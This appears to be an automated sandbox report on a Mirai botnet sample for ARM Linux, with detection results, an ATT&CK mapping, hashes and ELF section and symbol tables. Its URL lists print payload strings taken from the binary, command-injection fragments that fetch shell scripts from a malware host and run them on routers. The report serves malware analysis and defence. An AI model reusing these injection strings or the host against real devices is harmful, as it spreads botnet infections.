Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1888/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1886/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/420/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1489/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/785/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1642/exe	Jump to behavior

Source: /tmp/vmDskLsKEA (PID: 6225)

Queries kernel information via 'uname':

Jump to behavior

Source: vmDskLsKEA, 6225.1.00005564dbe5e000.00005564dbfb0000.rw-.sdmp, vmDskLsKEA, 6228.1.00005564dbe5e000.00005564dbf8c000.rw-.sdmp	Binary or memory string: dU!/etc/qemu-binfmt/arm
Source: vmDskLsKEA, 6225.1.00007ffd2da8a000.00007ffd2daab000.rw-.sdmp, vmDskLsKEA, 6228.1.00007ffd2da8a000.00007ffd2daab000.rw-.sdmp	Binary or memory string: m9x86_64/usr/bin/qemu-arm/tmp/vmDskLsKEASUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/vmDskLsKEA
Source: vmDskLsKEA, 6225.1.00005564dbe5e000.00005564dbfb0000.rw-.sdmp, vmDskLsKEA, 6228.1.00005564dbe5e000.00005564dbf8c000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: vmDskLsKEA, 6225.1.00007ffd2da8a000.00007ffd2daab000.rw-.sdmp, vmDskLsKEA, 6228.1.00007ffd2da8a000.00007ffd2daab000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: vmDskLsKEA, type: SAMPLE
Source: Yara match	File source: 6228.1.00007f99dc017000.00007f99dc039000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6225.1.00007f99dc017000.00007f99dc039000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: vmDskLsKEA, type: SAMPLE
Source: Yara match	File source: 6228.1.00007f99dc017000.00007f99dc039000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6225.1.00007f99dc017000.00007f99dc039000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	Path Interception	Path Interception	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Data Obfuscation	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vmDskLsKEA	59%	Virustotal		Browse
vmDskLsKEA	100%	Avira	LINUX/Mirai.bonb

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://46.23.109.47/Cloud/Gpon.sh	19%	Virustotal		Browse
http://46.23.109.47/Cloud/Gpon.sh	100%	Avira URL Cloud	malware
http://46.23.109.47/Cloud/Cloud.x86	18%	Virustotal		Browse
http://46.23.109.47/Cloud/Cloud.x86	100%	Avira URL Cloud	malware
http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114	100%	Avira URL Cloud	malware
http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI	100%	Avira URL Cloud	malware
http://46.23.109.47/Cloud/Cloud.mpsl;chmod	100%	Avira URL Cloud	malware
http://46.23.109.47/Cloud/Cloud.mips;	100%	Avira URL Cloud	malware
http://purenetworks.com/HNAP1/	0%	URL Reputation	safe
http://0.0.0.0/Cloud/Cloud.x86	0%	Avira URL Cloud	safe
http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://46.23.109.47/Cloud/Gpon.sh	vmDskLsKEA	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://46.23.109.47/Cloud/Cloud.x86	vmDskLsKEA	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114	vmDskLsKEA	true	Avira URL Cloud: malware	unknown
http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI	vmDskLsKEA	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	vmDskLsKEA	false		high
http://46.23.109.47/Cloud/Cloud.mpsl;chmod	vmDskLsKEA	true	Avira URL Cloud: malware	unknown
http://46.23.109.47/Cloud/Cloud.mips;	vmDskLsKEA	true	Avira URL Cloud: malware	unknown
http://purenetworks.com/HNAP1/	vmDskLsKEA	false	URL Reputation: safe	unknown
http://0.0.0.0/Cloud/Cloud.x86	vmDskLsKEA	false	Avira URL Cloud: safe	unknown
http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$	vmDskLsKEA	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	vmDskLsKEA	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	6.137956447843665
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	vmDskLsKEA
File size:	196436
MD5:	342a4469d06b1438b3833d1ab38acc33
SHA1:	b5fbf4cd5a4809fd06e92fa77bfdd92a408770d6
SHA256:	82c8487ec2c35eb44d47a6068c65360aa23dd17324d4954b04985856c060aab2
SHA512:	577f52ce2aed7b8ef1f9c1dcb482fa60aac4e9e0701d542fe500f503060272f3224afd539b1280bdc7ce3e602f0ce83e43630c574ee2608af92f219df41b487e
SSDEEP:	3072:L0x+YC5uHoDfYqxbWUQBpgIqcZoLmpMguHcUSVUHalw7WeuH0rsfCUiQmxTymXX1:gx+YkuHoDfHxoZoLmpMguHcUSVUHalwP
TLSH:	DD143C46A9408F12C5D12777BA9F414A33329758E3EBB2068D2C5FB43BC7A9E4E77205
File Content Preview:	.ELF..............(.........4...`.......4. ...(........p................................................................. ... ... ..0...4;............... ... ... ..................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	164192
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x1ef30	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x27020	0x1f020	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x27030	0x1f030	0x2b84	0x0	0x2	A	0	0	4
.ARM.extab	PROGBITS	0x29bb4	0x21bb4	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x29bcc	0x21bcc	0x118	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x32000	0x22000	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x32004	0x22004	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x32004	0x22004	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x32008	0x22008	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x3200c	0x2200c	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x32010	0x22010	0xa8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x320b8	0x220b8	0x278	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x32330	0x22330	0x3804	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x22330	0xa48	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x22d78	0xc0	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x22e38	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x2304b	0x1d23	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x24d6e	0x692	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x25400	0x9c7	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x25dc8	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x26080	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x2694a	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x27ad9	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x28031	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x28047	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x285e8	0x4fd0	0x10	0x0		28	729	4
.strtab	STRTAB	0x0	0x2d5b8	0x299c	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x21bcc	0x29bcc	0x29bcc	0x118	0x118	4.4860	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x21ce4	0x21ce4	6.2793	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x22000	0x32000	0x32000	0x330	0x3b34	3.8154	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x22004	0x32004	0x32004	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x27020	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x27030	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x29bb4	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x29bcc	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x32000	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x32004	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x32004	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x32008	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x3200c	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x32010	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x320b8	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x32330	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
$a	.symtab	0x80d4	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x27020	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80e0	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x2702c	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8134	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8194	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x81d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x82a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8d38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8d94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8e90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x90ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9118	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9188	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9474	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9b6c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa218	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa8c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xaf70	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb3a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb648	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb8e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc09c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc3f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcf1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe00c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe05c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe100	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe1d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xee44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xef18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfa1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfaf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x106b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1078c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x112c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11398	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11e20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11ef4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x129b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12a88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13500	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13a68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14a58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14cd8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x156ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15704	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15868	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x158b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15910	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15a00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1615c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16234	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16e90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16eec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16f54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17024	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17100	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x171d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17ca0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17d68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17ec8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17fb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a298	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1acc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1aee0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1af04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1afa4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b044	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c048	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c11c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cc14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ccec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d814	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d83c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d884	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d8a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d8cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d938	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1da74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1dad0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1db64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1dbf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1dc74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1dd08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1de04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1df18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e05c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e070	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e108	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e1fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e210	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e2f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e328	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e36c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e3ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e3f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e474	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e4b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e540	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e570	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e5b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e6c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e790	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e854	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e904	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1e9ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ea0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ea40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ea50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ea60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1eb00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1eb60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1eb84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ebb8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ebe8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ec10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ec54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ec98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ed0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ed50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ed98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1edd8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ee1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ee8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1eed4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ef5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1efa0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1f010	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1f05c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1f0e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1f12c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1f170	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1f1c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1f1d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1f298	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1f304	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1fcb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1fdf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x201b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20654	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20694	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x207bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x207d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20878	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20930	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x209f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20a94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20b24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20bfc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20cf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20de0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20e00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20e1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x20ff4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x210b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21204	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21828	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21bf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21c8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21cd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21dc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21ef4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21f4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21f54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21f84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21fdc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x21fe4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22014	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x2206c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22074	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x220a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x220fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22104	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22130	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x221b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22294	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22354	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x223a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22400	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x227ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22868	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22894	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x2291c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22924	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22930	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22940	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22950	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22990	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x229f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22a5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22afc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22b28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22b3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22b50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22b64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22b8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22bc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22c04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22c18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22c5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22c9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22cdc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22d3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22da8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22dbc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x22f34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x23020	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x233c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x236f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x23714	0	NOTYPE	<unknown>	DEFAULT	2
